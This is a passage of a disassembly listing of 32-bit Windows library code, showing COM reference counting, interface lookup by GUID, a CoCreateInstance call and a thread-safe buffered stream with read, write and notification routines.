		mov	ebp, esp
		sub	esp, 2Ch
		push	ebx
		push	esi
		mov	esi, [ebp+arg_4]
		mov	eax, [esi]
		push	edi
		xor	ebx, ebx
		lea	ecx, [ebp+arg_4+2]
		push	ecx
		push	esi
		mov	[ebp+var_1C], ebx
		mov	[ebp+var_18], ebx
		mov	[ebp+var_14], ebx
		mov	[ebp+var_10], ebx
		mov	[ebp+var_4], ebx
		call	dword ptr [eax+0B8h]
		mov	edi, eax
		cmp	edi, ebx
		jl	loc_69B81A29
		cmp	word ptr [ebp+arg_4+2],	0FFFFh
		jz	short loc_69B819A2
		mov	eax, [esi]
		push	0FFFFFFFFh
		push	esi
		call	dword ptr [eax+0B4h]
		mov	edi, eax
		cmp	edi, ebx
		jl	loc_69B81A29


loc_69B819A2:				; CODE XREF: sub_69B81952+39j
		mov	eax, [esi]
		lea	ecx, [ebp+var_4]
		push	ecx
		push	offset dword_69B2B050
		push	esi
		call	dword ptr [eax]
		mov	edi, eax
		cmp	edi, ebx
		jl	short loc_69B81A29
		mov	eax, [ebp+var_4]
		mov	ecx, [eax]
		lea	edx, [ebp+var_C]
		push	edx
		push	2
		push	[ebp+arg_0]
		push	eax
		call	dword ptr [ecx+1Ch]
		mov	edi, eax
		cmp	edi, ebx
		jl	short loc_69B81A29
		mov	eax, [ebp+arg_8]
		push	ebx
		mov	[ebp+var_24], eax
		push	ebx
		push	ebx
		lea	eax, [ebp+var_2C]
		mov	[ebp+var_1C], eax
		lea	edx, [ebp+var_1C]
		push	edx
		lea	eax, [ebp+var_8]
		mov	[ebp+var_18], eax
		push	4
		xor	eax, eax
		inc	eax
		push	400h
		push	[ebp+var_C]
		mov	[ebp+var_14], eax
		mov	[ebp+var_10], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_8], 0FFFFFFFDh
		mov	[ebp+var_2C], 9
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+20h]
		mov	edi, eax
		cmp	edi, ebx
		jl	short loc_69B81A29
		cmp	word ptr [ebp+arg_4+2],	0FFFFh
		jz	short loc_69B81A29
		mov	eax, [esi]
		push	ebx
		push	esi
		call	dword ptr [eax+0B4h]
		mov	edi, eax


loc_69B81A29:				; CODE XREF: sub_69B81952+2Ej
					; sub_69B81952+4Aj ...
		mov	eax, [ebp+var_4]
		cmp	eax, ebx
		jz	short loc_69B81A36
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+8]


loc_69B81A36:				; CODE XREF: sub_69B81952+DCj
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	0Ch
sub_69B81952	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B81A3F	proc near		; DATA XREF: .text:69B2A69Co
					; .text:69B2A808o ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		add	eax, 4
		push	eax		; lpAddend
		call	ds:InterlockedIncrement	; InterlockedIncrement
		retn	4
sub_69B81A3F	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B81A50	proc near		; DATA XREF: .text:69B2A80Co

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	edi
		lea	eax, [esi+4]
		push	eax		; lpAddend
		call	ds:InterlockedDecrement	; InterlockedDecrement
		mov	edi, eax
		test	edi, edi
		jnz	short loc_69B81A73
		test	esi, esi
		jz	short loc_69B81A73
		mov	eax, [esi]
		push	1
		mov	ecx, esi
		call	dword ptr [eax+38h]


loc_69B81A73:				; CODE XREF: sub_69B81A50+14j
					; sub_69B81A50+18j
		mov	eax, edi
		pop	edi
		pop	esi
		retn	4
sub_69B81A50	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B81A7A	proc near		; CODE XREF: sub_69B80D36+2Ap
		push	esi
		mov	esi, ecx
		mov	ecx, [esi+20h]
		call	sub_69B822CE
		mov	ecx, [esi+20h]
		push	0
		call	sub_69B8259B
		pop	esi
		retn
sub_69B81A7A	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B81A91	proc near		; CODE XREF: .text:69B81EA9p
		push	esi
		mov	esi, ecx
		mov	eax, [esi+4]
		test	eax, eax
		mov	dword ptr [esi], offset	off_69B146F8
		jz	short loc_69B81AA7
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+8]


loc_69B81AA7:				; CODE XREF: sub_69B81A91+Ej
		mov	eax, [esi+8]
		and	dword ptr [esi+4], 0
		test	eax, eax
		jz	short loc_69B81AB8
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+8]


loc_69B81AB8:				; CODE XREF: sub_69B81A91+1Fj
		and	dword ptr [esi+8], 0
		pop	esi
		jmp	sub_69B2C65C
sub_69B81A91	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B81AC2	proc near		; DATA XREF: .text:69B14714o

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		mov	eax, [eax+8]
		push	[esp+arg_4]
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+1Ch]
		retn	8
sub_69B81AC2	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B81AD6	proc near		; DATA XREF: .text:69B14718o

arg_0		= dword	ptr  4
arg_C		= dword	ptr  10h
arg_10		= dword	ptr  14h

		push	[esp+arg_10]
		mov	eax, [esp+4+arg_0]
		mov	eax, [eax+4]
		push	[esp+4+arg_C]
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx]
		retn	14h
sub_69B81AD6	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B81AED	proc near		; DATA XREF: .text:69B1472Co
					; .text:69B2A5E8o
		xor	eax, eax
		inc	eax
		retn	8
sub_69B81AED	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B81AF3	proc near		; DATA XREF: .text:69B14730o

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		mov	eax, [eax+4]
		mov	ecx, [esp+arg_4]
		mov	[ecx], eax
		xor	eax, eax
		retn	8
sub_69B81AF3	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B81B05	proc near		; DATA XREF: .text:69B14748o

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	[esp+arg_C]
		mov	eax, [esp+4+arg_0]
		push	[esp+4+arg_8]
		mov	eax, [eax+8]
		push	[esp+8+arg_4]
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+50h]
		xor	eax, eax
		retn	10h
sub_69B81B05	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B81B23	proc near		; DATA XREF: .text:69B14750o

arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		mov	dword ptr [eax], 6
		xor	eax, eax
		retn	8
sub_69B81B23	endp

; ---------------------------------------------------------------------------


loc_69B81B32:				; DATA XREF: .text:off_69B146F8o
		mov	eax, [esp+8]
		push	ebx
		push	esi
		push	edi
		push	4
		pop	edx
		mov	ecx, edx
		mov	edi, offset stru_69B1CA6C
		mov	esi, eax
		xor	ebx, ebx
		repe cmpsd
		jz	short loc_69B81B85
		mov	ecx, edx
		mov	edi, offset dword_69B81BA0
		mov	esi, eax
		xor	ebx, ebx
		repe cmpsd
		jz	short loc_69B81B85
		mov	ecx, edx
		mov	edi, offset dword_69B2B020
		mov	esi, eax
		xor	ebx, ebx
		repe cmpsd
		jz	short loc_69B81B85
		mov	esi, eax
		mov	ecx, edx
		mov	edi, offset stru_69B2B010
		xor	eax, eax
		repe cmpsd
		jz	short loc_69B81B85
		mov	eax, [esp+18h]
		and	[eax], ebx
		mov	eax, 80004002h
		jmp	short loc_69B81B97
; ---------------------------------------------------------------------------


loc_69B81B85:				; CODE XREF: .text:69B81B49j
					; .text:69B81B58j ...
		mov	eax, [esp+10h]
		mov	ecx, [esp+18h]
		mov	[ecx], eax
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+4]
		xor	eax, eax


loc_69B81B97:				; CODE XREF: .text:69B81B83j
		pop	edi
		pop	esi
		pop	ebx
		retn	0Ch
; ---------------------------------------------------------------------------
		align 10h
dword_69B81BA0	dd 10Ch, 0			dd 0C0h, 46000000h

; =============== S U B	R O U T	I N E =======================================



sub_69B81BB0	proc near		; CODE XREF: .text:69B8848Dj
					; DATA XREF: .text:69B146FCo ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		add	eax, 0Ch
		push	eax		; lpAddend
		call	ds:InterlockedIncrement	; InterlockedIncrement
		retn	4
sub_69B81BB0	endp

; ---------------------------------------------------------------------------


loc_69B81BC1:				; DATA XREF: .text:69B14704o
		push	esi
		push	edi
		mov	edi, [esp+10h]
		mov	esi, (offset dword_69B14600+10h)
		movsd
		movsd
		movsd
		movsd
		pop	edi
		xor	eax, eax
		pop	esi
		retn	8

; =============== S U B	R O U T	I N E =======================================



sub_69B81BD7	proc near		; DATA XREF: .text:69B1470Co

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, [esp+4+arg_0]
		add	esi, 8
		cmp	dword ptr [esi], 0
		jnz	short loc_69B81C09
		push	esi		; ppv
		push	offset stru_69B2B010 ; riid
		push	1		; dwClsContext
		push	0		; pUnkOuter
		push	offset stru_69B81C1C ; rclsid
		call	ds:CoCreateInstance
		test	eax, eax
		jl	short loc_69B81C15
		cmp	dword ptr [esi], 0
		jnz	short loc_69B81C09
		mov	eax, 80004005h
		jmp	short loc_69B81C15
; ---------------------------------------------------------------------------


loc_69B81C09:				; CODE XREF: sub_69B81BD7+Bj
					; sub_69B81BD7+29j
		mov	esi, [esi]
		push	[esp+4+arg_4]
		mov	eax, [esi]
		push	esi
		call	dword ptr [eax+14h]


loc_69B81C15:				; CODE XREF: sub_69B81BD7+24j
					; sub_69B81BD7+30j
		pop	esi
		retn	8
sub_69B81BD7	endp

; ---------------------------------------------------------------------------
		align 4
; CLSID	stru_69B81C1C
stru_69B81C1C	dd 79EAC9E0h		; Data1	; DATA XREF: sub_69B81BD7+17o
		dw 0BAF9h		; Data2
		dw 11CEh		; Data3
		db 8Ch,	82h, 0,	0AAh, 0, 4Bh, 0A9h, 0Bh; Data4

; =============== S U B	R O U T	I N E =======================================



sub_69B81C2C	proc near		; DATA XREF: .text:69B14710o

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	[esp+arg_8]
		mov	eax, [esp+4+arg_0]
		mov	eax, [eax+8]
		push	[esp+4+arg_4]
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+18h]
		retn	0Ch
sub_69B81C2C	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B81C44	proc near		; CODE XREF: sub_69B81E75+3p
		push	esi
		mov	esi, ecx
		mov	eax, [esi+2Ch]
		test	eax, eax
		mov	dword ptr [esi], offset	off_69B2A804
		jz	short loc_69B81C68
		mov	ecx, dword_69B95AD8
		test	ecx, ecx
		jz	short loc_69B81C68
		push	eax
		call	sub_69B808E7
		and	dword ptr [esi+2Ch], 0


loc_69B81C68:				; CODE XREF: sub_69B81C44+Ej
					; sub_69B81C44+18j
		mov	ecx, esi
		call	sub_69B805DC
		push	dword ptr [esi+8]
		call	sub_69B1B2B7
		add	esi, 34h
		push	esi		; lpCriticalSection
		call	ds:DeleteCriticalSection
		pop	esi
		jmp	sub_69B2C65C
sub_69B81C44	endp

; ---------------------------------------------------------------------------


loc_69B81C87:				; DATA XREF: .text:off_69B2A804o
		push	esi
		mov	esi, [esp+0Ch]
		push	edi
		push	4
		pop	ecx
		mov	edi, offset stru_69B1CA6C
		xor	eax, eax
		repe cmpsd
		jz	short loc_69B81CB4
		mov	esi, [esp+10h]
		push	4
		pop	ecx
		mov	edi, offset dword_69B2AFF0
		xor	eax, eax
		repe cmpsd
		jz	short loc_69B81CB4
		mov	eax, 80004002h
		jmp	short loc_69B81CC6
; ---------------------------------------------------------------------------


loc_69B81CB4:				; CODE XREF: .text:69B81C99j
					; .text:69B81CABj
		mov	eax, [esp+0Ch]
		mov	ecx, [esp+14h]
		mov	[ecx], eax
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+4]
		xor	eax, eax


loc_69B81CC6:				; CODE XREF: .text:69B81CB2j
		pop	edi
		pop	esi
		retn	0Ch

; =============== S U B	R O U T	I N E =======================================



sub_69B81CCB	proc near		; DATA XREF: .text:69B2A818o
		mov	eax, 80004005h
		retn	14h
sub_69B81CCB	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B81CD3	proc near		; DATA XREF: .text:69B2A828o

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		xor	ecx, ecx
		cmp	[eax+14h], ecx
		jz	short loc_69B81CE5
		mov	eax, 80004005h
		jmp	short locret_69B81CED
; ---------------------------------------------------------------------------


loc_69B81CE5:				; CODE XREF: sub_69B81CD3+9j
		mov	[eax+14h], ecx
		mov	[eax+10h], ecx
		xor	eax, eax

locret_69B81CED:			; CODE XREF: sub_69B81CD3+10j
		retn	4
sub_69B81CD3	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B81CF0	proc near		; DATA XREF: .text:69B2A820o
					; .text:69B2A82Co ...
		mov	eax, 80004005h
		retn	18h
sub_69B81CF0	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B81CF8	proc near		; DATA XREF: .text:69B2A81Co
					; .text:69B2A834o
		mov	eax, 80004005h
		retn	0Ch
sub_69B81CF8	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B81D00	proc near		; DATA XREF: .text:69B12698o
					; .text:69B2A838o ...
		mov	eax, 80004005h
		retn	8
sub_69B81D00	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B81D08	proc near		; DATA XREF: .text:69B2A810o

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		mov	ebx, [ebp+arg_0]
		push	esi
		xor	esi, esi
		cmp	[ebx+2Ch], esi
		mov	[ebp+var_4], esi
		jz	short loc_69B81D25
		lea	eax, [ebx+34h]
		push	eax		; lpCriticalSection
		call	ds:EnterCriticalSection


loc_69B81D25:				; CODE XREF: sub_69B81D08+11j
		mov	edx, [ebx+14h]
		mov	ecx, [ebx+10h]
		cmp	edx, ecx
		jnb	short loc_69B81D66
		cmp	byte ptr [ebx+1Dh], 0
		jz	short loc_69B81D66
		mov	eax, [ebp+arg_8]
		sub	ecx, edx
		cmp	eax, ecx
		jbe	short loc_69B81D40
		mov	eax, ecx


loc_69B81D40:				; CODE XREF: sub_69B81D08+34j
		mov	esi, [ebx+8]
		add	esi, edx
		push	edi
		mov	edi, [ebp+arg_4]
		mov	ecx, eax
		mov	edx, ecx
		shr	ecx, 2
		rep movsd
		mov	ecx, edx
		and	ecx, 3
		rep movsb
		add	[ebx+14h], eax
		mov	ecx, [ebp+arg_C]
		mov	[ecx], eax
		xor	esi, esi
		pop	edi
		jmp	short loc_69B81D9A
; ---------------------------------------------------------------------------


loc_69B81D66:				; CODE XREF: sub_69B81D08+25j
					; sub_69B81D08+2Bj
		mov	eax, [ebp+arg_C]
		mov	[eax], esi
		cmp	byte ptr [ebx+1Eh], 0
		jnz	short loc_69B81D7A
		mov	[ebp+var_4], 8000000Ah
		jmp	short loc_69B81D9A
; ---------------------------------------------------------------------------


loc_69B81D7A:				; CODE XREF: sub_69B81D08+67j
		mov	eax, [ebx+8]
		cmp	eax, esi
		jz	short loc_69B81D87
		push	eax
		call	sub_69B1B2B7


loc_69B81D87:				; CODE XREF: sub_69B81D08+77j
		mov	[ebx+8], esi
		mov	[ebx+14h], esi
		mov	[ebx+10h], esi
		mov	[ebx+0Ch], esi
		mov	[ebp+var_4], 1


loc_69B81D9A:				; CODE XREF: sub_69B81D08+5Cj
					; sub_69B81D08+70j
		cmp	[ebx+2Ch], esi
		jz	short loc_69B81DA9
		add	ebx, 34h
		push	ebx		; lpCriticalSection
		call	ds:LeaveCriticalSection


loc_69B81DA9:				; CODE XREF: sub_69B81D08+95j
		mov	eax, [ebp+var_4]
		pop	esi
		pop	ebx
		leave
		retn	10h
sub_69B81D08	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B81DB2	proc near		; DATA XREF: .text:69B2A824o

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		cmp	dword ptr [esi+24h], 0
		jz	short loc_69B81DD9
		mov	eax, [esi]
		push	esi
		call	dword ptr [eax+4]
		push	2
		mov	ecx, esi
		call	sub_69B81DDF
		cmp	eax, 0C00CE4FFh
		jnz	short loc_69B81DD9
		mov	eax, [esi]
		push	esi
		call	dword ptr [eax+8]


loc_69B81DD9:				; CODE XREF: sub_69B81DB2+9j
					; sub_69B81DB2+1Fj
		xor	eax, eax
		pop	esi
		retn	8
sub_69B81DB2	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B81DDF	proc near		; CODE XREF: sub_69B81DB2+15p
					; sub_69B81FF0+137p ...

arg_0		= dword	ptr  4

		push	esi
		mov	esi, ecx
		mov	eax, [esi+2Ch]
		test	eax, eax
		jz	short loc_69B81E17
		mov	ecx, dword_69B95AD8
		push	eax
		call	sub_69B808AE
		test	eax, eax
		jz	short loc_69B81E10
		movzx	ecx, word ptr [esp+4+arg_0]
		push	esi
		push	ecx
		push	800Ah
		push	eax
		call	ds:SHLWAPI_117
		xor	eax, eax
		jmp	short loc_69B81E22
; ---------------------------------------------------------------------------


loc_69B81E10:				; CODE XREF: sub_69B81DDF+18j
		mov	eax, 0C00CE4FFh
		jmp	short loc_69B81E22
; ---------------------------------------------------------------------------


loc_69B81E17:				; CODE XREF: sub_69B81DDF+8j
		push	[esp+4+arg_0]
		mov	ecx, esi
		call	sub_69B80996


loc_69B81E22:				; CODE XREF: sub_69B81DDF+2Fj
					; sub_69B81DDF+36j
		pop	esi
		retn	4
sub_69B81DDF	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B81E26	proc near		; CODE XREF: sub_69B800FB+102p
					; sub_69B81EBA+37p
		push	ebx
		push	esi
		mov	esi, ecx
		mov	dword ptr [esi], offset	off_69B2A804
		call	sub_69B1E031
		xor	ebx, ebx
		lea	eax, [esi+34h]
		push	eax		; lpCriticalSection
		mov	[esi+1Eh], bl
		mov	dword ptr [esi+4], 1
		mov	[esi+8], ebx
		mov	[esi+18h], ebx
		mov	[esi+14h], ebx
		mov	[esi+10h], ebx
		mov	[esi+0Ch], ebx
		mov	[esi+1Dh], bl
		mov	byte ptr [esi+1Ch], 1
		mov	[esi+24h], ebx
		mov	[esi+28h], ebx
		mov	[esi+2Ch], ebx
		mov	[esi+30h], bl
		call	ds:InitializeCriticalSection	; InitializeCriticalSection
		mov	[esi+20h], ebx
		mov	eax, esi
		pop	esi
		pop	ebx
		retn
sub_69B81E26	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B81E75	proc near		; DATA XREF: .text:69B2A83Co

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_69B81C44
		test	[esp+4+arg_0], 1
		jz	short loc_69B81E8A
		push	esi
		call	sub_69B1B2B7


loc_69B81E8A:				; CODE XREF: sub_69B81E75+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_69B81E75	endp

; ---------------------------------------------------------------------------


loc_69B81E90:				; DATA XREF: .text:69B14700o
		push	esi
		mov	esi, [esp+8]
		lea	eax, [esi+0Ch]
		push	eax
		call	ds:InterlockedDecrement	; InterlockedDecrement
		test	eax, eax
		jnz	short loc_69B81EB6
		test	esi, esi
		jz	short loc_69B81EB4
		mov	ecx, esi
		call	sub_69B81A91
		push	esi
		call	sub_69B1B2B7


loc_69B81EB4:				; CODE XREF: .text:69B81EA5j
		xor	eax, eax


loc_69B81EB6:				; CODE XREF: .text:69B81EA1j
		pop	esi
		retn	4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B81EBA	proc near		; DATA XREF: .text:69B1471Co

pvarg		= VARIANTARG ptr -1Ch
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		push	ebx
		mov	ebx, [ebp+arg_4]
		push	esi
		mov	esi, [ebp+arg_0]
		push	edi
		xor	edi, edi
		cmp	[esi+4], edi
		mov	[ebp+var_4], edi
		mov	[ebp+var_8], edi
		mov	[ebp+var_C], edi
		jnz	loc_69B81F8B
		push	4Ch
		mov	[ebp+var_C], 1
		call	sub_69B11E44
		cmp	eax, edi
		jz	short loc_69B81EF8
		mov	ecx, eax
		call	sub_69B81E26
		jmp	short loc_69B81EFA
; ---------------------------------------------------------------------------


loc_69B81EF8:				; CODE XREF: sub_69B81EBA+33j
		xor	eax, eax


loc_69B81EFA:				; CODE XREF: sub_69B81EBA+3Cj
		cmp	eax, edi
		mov	[esi+4], eax
		jnz	short loc_69B81F0B
		mov	edi, 8007000Eh
		jmp	loc_69B81F96
; ---------------------------------------------------------------------------


loc_69B81F0B:				; CODE XREF: sub_69B81EBA+45j
		cmp	ebx, edi
		jnz	short loc_69B81F19
		mov	edi, 80004005h
		jmp	loc_69B81FAF
; ---------------------------------------------------------------------------


loc_69B81F19:				; CODE XREF: sub_69B81EBA+53j
		mov	eax, [ebx]
		lea	ecx, [ebp+var_4]
		push	ecx
		push	offset aAgg	; "AGG"
		push	ebx
		call	dword ptr [eax+28h]
		mov	edi, eax
		test	edi, edi
		jl	short loc_69B81F96
		mov	eax, [ebp+var_4]
		mov	ecx, [eax]
		lea	edx, [ebp+var_8]
		push	edx
		push	offset dword_69B2A640
		push	eax
		call	dword ptr [ecx]
		mov	edi, eax
		test	edi, edi
		jl	short loc_69B81F96
		lea	eax, [ebp+pvarg]
		push	eax		; pvarg
		call	VariantInit
		mov	eax, [ebp+var_8]
		mov	ecx, [eax]
		lea	edx, [ebp+pvarg]
		push	edx
		push	eax
		call	dword ptr [ecx+0Ch]
		mov	edi, eax
		test	edi, edi
		jl	short loc_69B81F96
		mov	eax, dword ptr [ebp+pvarg.anonymous_0+8]
		mov	edi, eax
		mov	eax, [eax+30h]
		test	eax, eax
		jz	short loc_69B81F77
		push	0FFFFFFFFh	; dwMilliseconds
		push	eax		; hHandle
		call	ds:WaitForSingleObject	; WaitForSingleObject


loc_69B81F77:				; CODE XREF: sub_69B81EBA+B2j
		push	ebx
		push	dword ptr [esi+8]
		mov	ecx, edi
		push	dword ptr [esi+4]
		call	sub_69B7E5FC
		mov	edi, eax
		test	edi, edi
		jl	short loc_69B81F96


loc_69B81F8B:				; CODE XREF: sub_69B81EBA+1Dj
		mov	eax, [ebp+arg_10]
		and	dword ptr [eax], 0
		mov	edi, 401E8h


loc_69B81F96:				; CODE XREF: sub_69B81EBA+4Cj
					; sub_69B81EBA+72j ...
		test	ebx, ebx
		jz	short loc_69B81FA5
		mov	eax, [ebx]
		push	offset aAgg	; "AGG"
		push	ebx
		call	dword ptr [eax+30h]


loc_69B81FA5:				; CODE XREF: sub_69B81EBA+DEj
		cmp	[ebp+var_C], 0
		jz	short loc_69B81FC0
		test	edi, edi
		jge	short loc_69B81FC0


loc_69B81FAF:				; CODE XREF: sub_69B81EBA+5Aj
		mov	eax, [esi+4]
		test	eax, eax
		jz	short loc_69B81FBC
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+8]


loc_69B81FBC:				; CODE XREF: sub_69B81EBA+FAj
		and	dword ptr [esi+4], 0


loc_69B81FC0:				; CODE XREF: sub_69B81EBA+EFj
					; sub_69B81EBA+F3j
		mov	eax, [ebp+var_4]
		test	eax, eax
		jz	short loc_69B81FCD
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+8]


loc_69B81FCD:				; CODE XREF: sub_69B81EBA+10Bj
		mov	eax, [ebp+var_8]
		and	[ebp+var_4], 0
		test	eax, eax
		jz	short loc_69B81FDE
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+8]


loc_69B81FDE:				; CODE XREF: sub_69B81EBA+11Cj
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	14h
sub_69B81EBA	endp

; ---------------------------------------------------------------------------
		align 4
aAgg:					; DATA XREF: sub_69B81EBA+65o
					; sub_69B81EBA+E2o
		unicode	0, <AGG>,0

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B81FF0	proc near		; DATA XREF: .text:69B2A814o

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		mov	ebx, [ebp+arg_0]
		cmp	byte ptr [ebx+30h], 0
		jz	short loc_69B82009
		mov	eax, 80004005h
		jmp	loc_69B82156
; ---------------------------------------------------------------------------


loc_69B82009:				; CODE XREF: sub_69B81FF0+Dj
		and	[ebp+var_4], 0
		cmp	dword ptr [ebx+2Ch], 0
		jz	short loc_69B8201D
		lea	eax, [ebx+34h]
		push	eax		; lpCriticalSection
		call	ds:EnterCriticalSection


loc_69B8201D:				; CODE XREF: sub_69B81FF0+21j
		mov	ecx, [ebx+10h]
		mov	edx, [ebp+arg_8]
		push	esi
		mov	esi, [ebx+0Ch]
		lea	eax, [ecx+edx]
		cmp	eax, esi
		push	edi
		jbe	loc_69B820E1
		mov	eax, [ebx+14h]
		sub	[ebx+18h], eax
		sub	ecx, eax
		add	edx, ecx
		cmp	edx, esi
		mov	[ebx+10h], ecx
		ja	short loc_69B82059
		mov	edx, [ebx+8]
		push	ecx
		add	eax, edx
		push	eax
		push	edx
		call	sub_69B22103
		add	esp, 0Ch
		jmp	loc_69B820DA
; ---------------------------------------------------------------------------


loc_69B82059:				; CODE XREF: sub_69B81FF0+52j
		cmp	edx, 100000h
		jb	short loc_69B8206D
		shr	edx, 12h
		inc	edx
		shl	edx, 12h
		mov	[ebp+arg_0], edx
		jmp	short loc_69B82085
; ---------------------------------------------------------------------------


loc_69B8206D:				; CODE XREF: sub_69B81FF0+6Fj
		test	esi, esi
		mov	[ebp+arg_0], esi
		jnz	short loc_69B82080
		mov	[ebp+arg_0], 4000h
		jmp	short loc_69B82080
; ---------------------------------------------------------------------------


loc_69B8207D:				; CODE XREF: sub_69B81FF0+93j
		shl	[ebp+arg_0], 1


loc_69B82080:				; CODE XREF: sub_69B81FF0+82j
					; sub_69B81FF0+8Bj
		cmp	[ebp+arg_0], edx
		jb	short loc_69B8207D


loc_69B82085:				; CODE XREF: sub_69B81FF0+7Bj
		push	[ebp+arg_0]
		call	sub_69B11E44
		mov	edi, eax
		test	edi, edi
		mov	[ebp+var_8], edi
		jnz	short loc_69B820AF
		cmp	[ebx+2Ch], eax
		jz	short loc_69B820A5
		add	ebx, 34h
		push	ebx		; lpCriticalSection
		call	ds:LeaveCriticalSection


loc_69B820A5:				; CODE XREF: sub_69B81FF0+A9j
		mov	eax, 8007000Eh
		jmp	loc_69B82154
; ---------------------------------------------------------------------------


loc_69B820AF:				; CODE XREF: sub_69B81FF0+A4j
		mov	ecx, [ebx+10h]
		mov	esi, [ebx+8]
		add	esi, [ebx+14h]
		mov	eax, ecx
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		rep movsb
		push	dword ptr [ebx+8]
		call	sub_69B1B2B7
		mov	eax, [ebp+var_8]
		mov	[ebx+8], eax
		mov	eax, [ebp+arg_0]
		mov	[ebx+0Ch], eax


loc_69B820DA:				; CODE XREF: sub_69B81FF0+64j
		and	dword ptr [ebx+14h], 0
		mov	edx, [ebp+arg_8]


loc_69B820E1:				; CODE XREF: sub_69B81FF0+3Dj
		mov	edi, [ebx+8]
		add	edi, [ebx+10h]
		mov	esi, [ebp+arg_4]
		mov	ecx, edx
		mov	eax, ecx
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		mov	eax, [ebp+arg_C]
		and	ecx, 3
		rep movsb
		mov	[eax], edx
		add	[ebx+10h], edx
		xor	esi, esi
		cmp	[ebx+2Ch], esi
		jz	short loc_69B82113
		lea	eax, [ebx+34h]
		push	eax		; lpCriticalSection
		call	ds:LeaveCriticalSection


loc_69B82113:				; CODE XREF: sub_69B81FF0+117j
		cmp	[ebx+24h], esi
		jz	short loc_69B82151
		cmp	byte ptr [ebx+1Dh], 0
		jz	short loc_69B82151
		cmp	byte ptr [ebx+1Ch], 0
		jz	short loc_69B82132
		push	esi
		mov	ecx, ebx
		call	sub_69B81DDF
		mov	byte ptr [ebx+1Ch], 0
		jmp	short loc_69B8214E
; ---------------------------------------------------------------------------


loc_69B82132:				; CODE XREF: sub_69B81FF0+132j
		mov	eax, [ebx+10h]
		mov	ecx, eax
		sub	ecx, [ebx+18h]
		cmp	ecx, 2000h
		jb	short loc_69B82151
		push	1
		mov	ecx, ebx
		mov	[ebx+18h], eax
		call	sub_69B81DDF


loc_69B8214E:				; CODE XREF: sub_69B81FF0+140j
		mov	[ebp+var_4], eax


loc_69B82151:				; CODE XREF: sub_69B81FF0+126j
					; sub_69B81FF0+12Cj ...
		mov	eax, [ebp+var_4]


loc_69B82154:				; CODE XREF: sub_69B81FF0+BAj
		pop	edi
		pop	esi


loc_69B82156:				; CODE XREF: sub_69B81FF0+14j
		pop	ebx
		leave
		retn	10h
sub_69B81FF0	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B8215B	proc near		; CODE XREF: sub_69B7EA18+13p
					; sub_69B800FB+129p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		test	eax, eax
		push	esi
